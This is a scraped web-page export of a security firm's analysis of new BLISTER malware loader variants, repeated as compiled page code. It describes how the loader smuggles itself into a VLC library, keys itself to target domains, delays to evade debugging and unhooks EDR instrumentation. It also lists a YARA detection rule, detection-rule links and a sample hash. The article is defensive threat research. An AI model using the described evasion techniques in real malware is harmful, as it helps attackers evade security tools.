Feature](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image9.png)\n\n### Unhook process instrumentation to detect syscalls\n\nIn this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a [tactic](https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf) designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.\n\n![Unhooking process instrumentation](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image3.png)\n\n### BLISTER's configuration\n\nThe BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:\n\n![Configuration structure](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image14.png)\n\nChanges have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.\n\n![Configuration flags enumeration](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image7.png)\n\n## Payload extractor update\n\nIn our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available [here](https://github.com/elastic/labs-releases/tree/main/tools/blister).\n\n![Configuration extractor](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image5.png)\n\n## Conclusion\n\n[BLISTER](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html) is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.\n\n## Detection logic\n\n### Prevention\n\n - [Windows.Trojan.Blister](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar)\n \n ### Detection\n \n - [Windows Error Manager/Reporting Masquerading](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_error_manager_reporting_masquerading.toml)\n - [Potential Operation via Direct Syscall](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml)\n - [Potential Masquerading as Windows Error Manager](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml)\n - [Unusual Startup Shell Folder Modification](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml)\n - [Potential Masquerading as VLC DLL](https://github.com/elastic/detection-rules/blob/ef432d0907548abf7699fa5d86150dc6b4133125/rules_building_block/defense_evasion_masquerading_vlc_dll.toml)\n\n### YARA\n\nElastic Security has created [YARA rules](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar) to identify this activity. Below is the latest rule that captures the new update to BLISTER.\n\n```yara\nrule Windows_Trojan_Blister {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-02\"\n last_modified = \"2023-08-08\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Blister\"\n threat_name = \"Windows.Trojan.Blister\"\n license = \"Elastic License v2\"\n strings:\n $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }\n $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }\n condition:\n all of them\n}\n```\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n - [Execution](https://attack.mitre.org/tactics/TA0002/)\n - [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n - [Persistence](https://attack.mitre.org/tactics/TA0003/)\n\n## Techniques / Sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n - [System Binary Proxy Execution: Rundll32](https://attack.mitre.org/techniques/T1218/011/)\n - [Execution Guardrails: Environmental Keying](https://attack.mitre.org/techniques/T1480/001/)\n - [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)\n - [Masquerading](https://attack.mitre.org/techniques/T1036/)\n - [Process Injection: Process Hollowing](https://attack.mitre.org/techniques/T1055/012/)\n\n## References\n\nThe following were referenced throughout the above research:\n - [Palo Alto Unit42](https://twitter.com/Unit42_Intel/status/1684583246032506880?s=20)\n - [Trendmicro](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html)\n - [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/details/win.blister)\n\n## Observables\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/blister) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Indicator | Type | Reference |\n|-----------|------|-----------|\n| 5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db | sha256 | BLISTER loader DLL |\n","code":"var Component=(()=\u003e{var d=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026r(t,a,{get:()=\u003ee[a],enumerable:!(o=m(e,a))||o.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?d(u(t)):{},s(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003es(r({},\"__esModule\",{value:!0}),t);var h=p((R,l)=\u003e{l.exports=_jsx_runtime});var S={};w(S,{default:()=\u003eE,frontmatter:()=\u003ey});var i=b(h()),y={title:\"Revisiting BLISTER: New development of the BLISTER loader\",slug:\"revisiting-blister-new-developments-of-the-blister-loader\",date:\"2023-08-24\",description:\"Elastic Security Labs dives deep into the recent evolution of the BLISTER loader malware family.\",author:[{slug:\"salim-bitam\"},{slug:\"daniel-stepanic\"}],image:\"cracked-lava.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"blister\",\"malware\",\"ref7890\"]};function c(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",img:\"img\",h3:\"h3\",code:\"code\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign\",rel:\"nofollow\",children:\"discovered\"}),\" by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto\\u2019s \",(0,i.jsx)(e.a,{href:\"https://twitter.com/Unit42_Intel/status/1684583246032506880\",rel:\"nofollow\",children:\"Unit 42\"}),\" describe an updated \",(0,i.jsx)(e.a,{href:\"https://redcanary.com/threat-detection-report/threats/socgholish/\",rel:\"nofollow\",children:\"SOCGHOLISH\"}),\" infection chain used to distribute BLISTER and deploy a payload from \",(0,i.jsx)(e.a,{href:\"https://github.com/its-a-feature/Mythic\",rel:\"nofollow\",children:\"MYTHIC\"}),\", an open-source Command and Control (C2) framework.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity\"}),`\n`,(0,i.jsx)(e.li,{children:\"New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments\"}),`\n`,(0,i.jsx)(e.li,{children:\"BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,i.jsx)(e.p,{children:\"Our research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image11.png\",alt:`Example of BLISTER detection rates on initial upload\n`,width:\"1440\",height:\"253\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Recently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it\\u2019s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/b4f37f13a7e9c56ea95fa3792e11404eb3bdb878734f1ca394ceed344d22858f\",rel:\"nofollow\",children:\"sample\"}),\" from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings \\u201CTest\\u201D.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image2.png\",alt:\"BLISTER payload with Message Box test\",width:\"775\",height:\"404\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Readers can see a disassembled view of this functionality below.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image4.jpg\",alt:`BLISTER testing payloads with Message Box\n`,width:\"852\",height:\"387\"})}),`\n`,(0,i.jsx)(e.p,{children:\"By the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image6.jpg\",alt:`MYTHIC running inside injected WerFault process\n`,width:\"793\",height:\"521\"})}),`\n`,(0,i.jsx)(e.p,{children:\"At the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image1.png\",alt:\"Wave of BLISTER samples in August 2023\",width:\"1440\",height:\"590\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"comparative-analyses\",children:\"Comparative analyses\"}),`\n`,(0,i.jsx)(e.h3,{id:\"smuggling-malicious-code\",children:\"Smuggling malicious code\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the \",(0,i.jsx)(e.a,{href:\"https://www.videolan.org/vlc/\",rel:\"nofollow\",children:\"VLC\"}),\" Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image10.png\",alt:\"Meta data of BLISTER sample\",width:\"793\",height:\"341\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER\\u2019s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image8.png\",alt:\"Comparison between original and patched VLC library\",width:\"1440\",height:\"424\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"different-hashing-algorithm\",children:\"Different hashing algorithm\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"One of the changes implemented since our last \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/blister-loader\",rel:\"nofollow\",children:\"write-up\"}),\" is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image13.png\",alt:\"Disassembled hashing algorithm\",width:\"651\",height:\"266\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"configuration-retrieval\",children:\"Configuration retrieval\"}),`\n`,(0,i.jsx)(e.p,{children:\"Following the decryption of malicious code by the BLISTER\\u2019d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"environmental-keying\",children:\"Environmental keying\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"A recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware\\u2019s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the \",(0,i.jsx)(e.code,{children:\"GetComputerNameExW\"}),\" Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image12.png\",alt:\"Environmental keying feature\",width:\"1089\",height:\"317\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"One of the few malware analysis tools capable of quickly exposing this behavior is the awesome \",(0,i.jsx)(e.a,{href:\"https://github.com/hasherezade/tiny_tracer\",rel:\"nofollow\",children:\"Tiny Tracer\"}),\" utility by \",(0,i.jsx)(e.a,{href:\"https://twitter.com/hasherezade\",rel:\"nofollow\",children:\"hasherezade\"}),\". We\\u2019ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the \",(0,i.jsx)(e.code,{children:\"GetComputerNameExW\"}),\" validation is performed in a sandboxed analysis VM.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image15.png\",alt:\"TinyTracer logs\",width:\"752\",height:\"394\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"time-based-anti-debugging-feature\",children:\"Time-based anti-debugging feature\"}),`\n`,(0,i.jsx)(e.p,{children:\"Similar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image9.png\",alt:\"Time-Based Anti-Debug Feature\",width:\"1440\",height:\"100\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"unhook-process-instrumentation-to-detect-syscalls\",children:\"Unhook process instrumentation to detect syscalls\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a \",(0,i.jsx)(e.a,{href:\"https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf\",rel:\"nofollow\",children:\"tactic\"}),\" designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image3.png\",alt:\"Unhooking process instrumentation\",width:\"1440\",height:\"529\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"blisters-configuration\",children:\"BLISTER's configuration\"}),`\n`,(0,i.jsx)(e.p,{children:\"The BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image14.png\",alt:\"Configuration structure\",width:\"715\",height:\"454\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Changes have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image7.png\",alt:\"Configuration flags enumeration\",width:\"781\",height:\"553\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"payload-extractor-update\",children:\"Payload extractor update\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/blister\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image5.png\",alt:\"Configuration extractor\",width:\"1263\",height:\"597\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html\",rel:\"nofollow\",children:\"BLISTER\"}),\" is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Blister\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_error_manager_reporting_masquerading.toml\",rel:\"nofollow\",children:\"Windows Error Manager/Reporting Masquerading\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml\",rel:\"nofollow\",children:\"Potential Operation via Direct Syscall\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml\",rel:\"nofollow\",children:\"Potential Masquerading as Windows Error Manager\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml\",rel:\"nofollow\",children:\"Unusual Startup Shell Folder Modification\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ef432d0907548abf7699fa5d86150dc6b4133125/rules_building_block/defense_evasion_masquerading_vlc_dll.toml\",rel:\"nofollow\",children:\"Potential Masquerading as VLC DLL\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security has created \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar\",rel:\"nofollow\",children:\"YARA rules\"}),\" to identify this activity. Below is the latest rule that captures the new update to BLISTER.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-yara\",children:`rule Windows_Trojan_Blister {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-02\"\n last_modified = \"2023-08-08\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Blister\"\n threat_name = \"Windows.Trojan.Blister\"\n license = \"Elastic License v2\"\n strings:\n $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }\n $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003/\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/011/\",rel:\"nofollow\",children:\"System Binary Proxy Execution: Rundll32\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1480/001/\",rel:\"nofollow\",children:\"Execution Guardrails: Environmental Keying\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001/\",rel:\"nofollow\",children:\"Registry Run Keys / Startup Folder\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1036/\",rel:\"nofollow\",children:\"Masquerading\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/012/\",rel:\"nofollow\",children:\"Process Injection: Process Hollowing\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://twitter.com/Unit42_Intel/status/1684583246032506880?s=20\",rel:\"nofollow\",children:\"Palo Alto Unit42\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html\",rel:\"nofollow\",children:\"Trendmicro\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.blister\",rel:\"nofollow\",children:\"Malpedia\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"observables\",children:\"Observables\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/blister\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Indicator\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db\"}),(0,i.jsx)(e.td,{children:\"sha256\"}),(0,i.jsx)(e.td,{children:\"BLISTER loader DLL\"})]})})]})})]})}function T(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(c,t)})):c(t)}var E=T;return v(S);})();\n;return Component;"},"_id":"articles/revisiting-blister-new-developments-of-the-blister-loader.mdx","_raw":{"sourceFilePath":"articles/revisiting-blister-new-developments-of-the-blister-loader.mdx","sourceFileName":"revisiting-blister-new-developments-of-the-blister-loader.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/revisiting-blister-new-developments-of-the-blister-loader"},"type":"Article","imageUrl":"/assets/images/revisiting-blister-new-developments-of-the-blister-loader/cracked-lava.jpg","readingTime":"9 min read","series":"","url":"/revisiting-blister-new-developments-of-the-blister-loader","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Comparative analyses","href":"#comparative-analyses"},{"level":3,"title":"Smuggling malicious code","href":"#smuggling-malicious-code"},{"level":3,"title":"Different hashing algorithm","href":"#different-hashing-algorithm"},{"level":3,"title":"Configuration retrieval","href":"#configuration-retrieval"},{"level":3,"title":"Environmental keying","href":"#environmental-keying"},{"level":3,"title":"Time-based anti-debugging feature","href":"#time-based-anti-debugging-feature"},{"level":3,"title":"Unhook process instrumentation to detect syscalls","href":"#unhook-process-instrumentation-to-detect-syscalls"},{"level":3,"title":"BLISTER's configuration","href":"#blisters-configuration"},{"level":2,"title":"Payload extractor update","href":"#payload-extractor-update"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":2,"title":"Techniques / Sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Observables","href":"#observables"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim 